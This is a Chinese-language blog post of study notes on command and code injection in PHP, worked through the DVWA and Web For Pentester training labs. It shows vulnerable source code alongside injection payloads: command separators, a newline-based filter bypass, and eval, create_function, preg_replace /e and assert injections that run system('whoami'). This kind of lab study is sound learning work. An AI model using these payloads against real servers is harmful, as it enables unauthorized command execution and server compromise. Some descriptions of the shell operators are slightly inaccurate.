命令执行&代码执行漏洞学习笔记

命令执行漏洞属于代码执行范畴内.且存在于web(B/S架构)和客户端(C/S架构)中.这里单独先学习web中的命令执行漏洞.

漏洞原理

命令执行漏洞原理

在操作系统中,“& 、&& 、| 、 ||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令 .

command1 & command2 :不管command1执行成功与否,都会执行command2(将上一个命令的输出作为下一个命令的输入)

command1 && command2 :先执行command1执行成功后才会执行command2

command1 | command2 :只执行command2

command1 || command2 :command1执行失败,再执行command2(若command1执行成功,就不再执行command2)

代码执行漏洞原理

应用有时需要调用一些执行系统命令的函数如PHP中的system, exec, shell_exec, passthru, popen, proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

二者异同

命令执行漏洞是直接对操作系统进行调用执行, 代码执行是靠执行脚本代码调用对操作系统间接调用执行.

但是都可以执行代码或系统命令进行读写文件,反弹Shell等操作,拿下服务器,进一步进行内网渗透等.

PHP的命令执行函数主要有

system、exec、passthru、shell_exec与' '(这个并不是函数,只是代表他可以执行命令)

DVWA-Vulnerability: Command Injection

这是DVWA模块中的命令执行,先期用这个进行入门学习.

low

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

由源码可知,服务器端没有对我们的输入进行任何的过滤,仅仅使用使用stristr与php_uname判断操作系统是否是Windows NT,所以在正常的请求之后加入一些命令语句.

攻击

提交 "127.0.0.1 & ipconfig" 可以得到目标的所有IP信息.

提交 "127.0.0.1 & whoami" 可以得到目标的用户信息.

通过更换操作符得到结果的顺序也会稍微有变化.

相关函数了解

stristr(string,search,before_search)

搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE

该函数是不区分大小写的,如需进行区分大小写的搜索,请使用 strstr() 函数。

php_uname ($mode)

返回运行 PHP 的系统的有关信息,也就是返回运行 PHP 的操作系统的描述
$mode 是单个字符,用于定义要返回什么信息:

‘a’:此为默认。包含序列 “s n r v m” 里的所有模式

‘s’:操作系统名称。例如: FreeBSD

‘n’:主机名。例如:DESKTOP-XXXXXXX

‘r’:版本名称,例如: 5.1.2-RELEASE

‘v’:版本信息。操作系统之间有很大的不同

‘m’:机器类型。例如:i386

medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

不难看出medium在low的基础上将&&和 ; 过滤掉了,但也只过滤掉了这两个.

所以只要不用&&作为连接符就可以了...

攻击

和low没有太大差别将&&全部换成其余连接符就可以了.

相关函数了解

array()

用于创建数组

在 PHP 中,有三种类型的数组:

索引数组 - 带有数字索引的数组

关联数组 - 带有指定的键的数组

多维数组 - 包含一个或多个数组的数组

说明:
array() 创建数组,带有键和值。如果在规定数组时省略了键,则生成一个整数键,这个 key 从 0 开始,然后以 1 进行递增
要用 array() 创建一个关联数组,可使用 => 来分隔键和值

创建一个空数组,可以不传递参数给 array():
$new = array();

这里就是关联数组.举个栗子:(有点类似于python里的字典)

<?php
$age=array("Bill"=>"1","Steve"=>"2","Mark"=>"3");
echo "Bill is " . $age['Bill'] . " years old.";
?>
/*结果:
Bill is 1 years old.
*/
str_replace(find,replace,string,count)

以其他字符替换字符串中的一些字符(区分大小写)

find 必需。规定要查找的值

replace 必需。规定替换 find 中的值的值

string 必需。规定被搜索的字符串

count 可选。对替换数进行计数的变量

该函数必须遵循下列规则:

如果替换和替换目标都是数组,且需要替换的元素少于查找到的元素,那么多余元素将用空字符串进行替换

如果替换的目标是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用

注释:该函数区分大小写。请使用 str_ireplace() 函数执行不区分大小写的搜索

注释:该函数是二进制安全的

array_keys(array,value,strict)

返回包含数组中所有键名的一个新数组

array 必需。规定数组

value 可选。您可以指定键值,然后只有该键值对应的键名会被返回

strict 可选。与 value 参数一起使用。可能的值:

​ true - 返回带有指定键值的键名。依赖类型,数字 5 与字符串 “5” 是不同的

​ false - 默认值。不依赖类型,数字 5 与字符串 “5” 是相同的

如果提供了第二个参数,则只返回键值为该值的键名

如果 strict 参数指定为 true,则 PHP 会使用全等比较 (===) 来严格检查键值的数据类型

high

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

这关过滤的可以说是很全面了

"&" ";" "| " "-" "$" "(" ")" "`" "||" 都给过滤了 但是仔细看 这个题只能算是一个代码不严谨的漏洞就是过滤"|"的代码上多了一个空格 所以直接用"|"就可以绕过

攻击

代码一定要在"|"后边无空格 "127.0.0.1|ipconfig"

或者利用过滤顺序绕过"127.0.0.1 || ipconfig"

impossible

<?php 
if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    // Get input 
    $target = $_REQUEST[ 'ip' ]; 
    $target = stripslashes( $target ); 
    // Split the IP into 4 octects 
    $octet = explode( ".", $target ); 
    // Check IF each octet is an integer 
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { 
        // If all 4 octets are int's put the IP back together. 
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; 
        // Determine OS and execute the ping command. 
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
            // Windows 
            $cmd = shell_exec( 'ping  ' . $target ); 
        } 
        else { 
            // *nix 
            $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
        } 
        // Feedback for the end user 
        echo "<pre>{$cmd}</pre>"; 
    } 
    else { 
        // Ops. Let the user name theres a mistake 
        echo '<pre>ERROR: You have entered an invalid IP.</pre>'; 
    } 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?> 

相关函数介绍

stripslashes(string)

stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

explode(separator,string,limit)

把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

is_numeric(string)

检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

Web_For_Pentester-Commands injection&&Code injection

这是另外一个平台的实验题用这两个再深入理解一下命令执行漏洞和代码执行漏洞

Commands injection-example-1

<?php
  system("ping -c 2 ".$_GET['ip']);
?>

从源码看出来么得任何过滤,那就直接跟命令了

"?ip=127.0.0.1 | whoami" 返回 www-data

说明成功 尝试其他linux系统的操作均成功.

Commands injection-example-2

<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

虽然正则匹配了输入内容只能是xxx.xxx.xxx.xxx的数字形式,但是最后有个/m这就表示只匹配了一行,所以%0a换行符轻松绕过.

"?ip=127.0.0.1%0awhomi"以此类推其他操作

Commands injection-example-3

<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

加了个重定向 不管提交啥都只显示ping -c 2 127.0.0.1 的结果

burp抓包后发现已经在跳转的时候执行了

Code injection-example-1

<?php 
  $str="echo \"Hello ".$_GET['name']."!!!\";";

  eval($str);
?>

还是没有对源码是先过滤,还是直接拼接代码就好了.

先闭合代码再加命令.可以直接操作服务器了,再进行其他方法提权.

?name=";phpinfo();"

?name=";phpinfo();//;//

?name=".system('whoami');"

Code injection-example-2

<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }   
}
  require_once('../header.php');
  require_once('../sqli/db.php');
    $sql = "SELECT * FROM users ";

    $order = $_GET["order"];
    $result = mysql_query($sql);
  if ($result) {
        while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) { 
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
    }   

        ?>
        <table class='table table-striped' >
        <tr>
            <th><a href="example2.php?order=id">id</th>
            <th><a href="example2.php?order=name">name</th>
            <th><a href="example2.php?order=age">age</th>
        </tr>
        <?php

    foreach ($users as $user) {  
            echo "<tr>";
                echo "<td>".$user->id."</td>";
                echo "<td>".$user->name."</td>";
                echo "<td>".$user->age."</td>";
            echo "</tr>";
        }    
        echo "</table>";
  require '../footer.php';
?>

1581411559048

在id后加单引号发生报错,通过信息可知,用的是usort()函数

    if (isset($order)) { 
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }

这是这关的核心代码.所以尝试闭合.?order=id);}//这就实现了代码闭合可以加入我们的目标代码了.

1581412393942

?order=id);}system('whoami');//如此设计payload就能够绕过了.

Code injection-example-3

<?php
    echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

同时上传三个参数,用了preg_replace()函数

相关函数了解

preg_replace()函数

preg_replace 函数执行一个正则表达式的搜索和替换。

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数说明:

  • $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
  • $replacement: 用于替换的字符串或字符串数组。
  • $subject: 要搜索替换的目标字符串或字符串数组。
  • $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
  • $count: 可选,为替换执行的次数。

注释:

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

这里用到了/e修正符,其作用是使preg_replace()将replacement参数当作php代码执行,前提是subject中有pattern的匹配。(但是这个修饰符在php5.5以上版本以上就废弃了)

只有这样才能够让我们replacement的参数当作PHP代码执行.

payload构造: ?new=system('whoami')&pattern=/lamer/e&base=lamer成功绕过

Code injection-example-4

<?php
  require_once("../header.php");
  // ensure name is not empty 
  assert(trim("'".$_GET['name']."'"));
  echo "Hello ".htmlentities($_GET['name']);
  require_once("../footer.php");
?> 

相关函数了解

assert()函数

assert函数即PHP断言:

编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真。如果该表达式为假,就中断操作
可以在任何时候启用和禁用断言验证,因此可以在测试时启用断言,而在部署时禁用断言。同样,程序投入运行后,最终用户在遇到问题时可以重新起用断言。

使用断言可以创建更稳定,品质更好且不易于出错的代码。单元测试必须使用断言!

# PHP5
bool assert ( mixed $assertion [, string $description ] ) 

# PHP7
bool assert ( mixed $assertion [, Throwable $exception ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

payload:?name=hack'.system('dir').'

总结

至此,三天时间,对代码执行和命令执行有了初步粗浅的了解.由于没有网页撰写基础和脚本编写能力,接下来几天将转身投入对语言的学习中去.对漏洞的学习将暂停几天.

最后修改:2020 年 08 月 10 日 08 : 42 PM
请作者喝杯奶茶吧~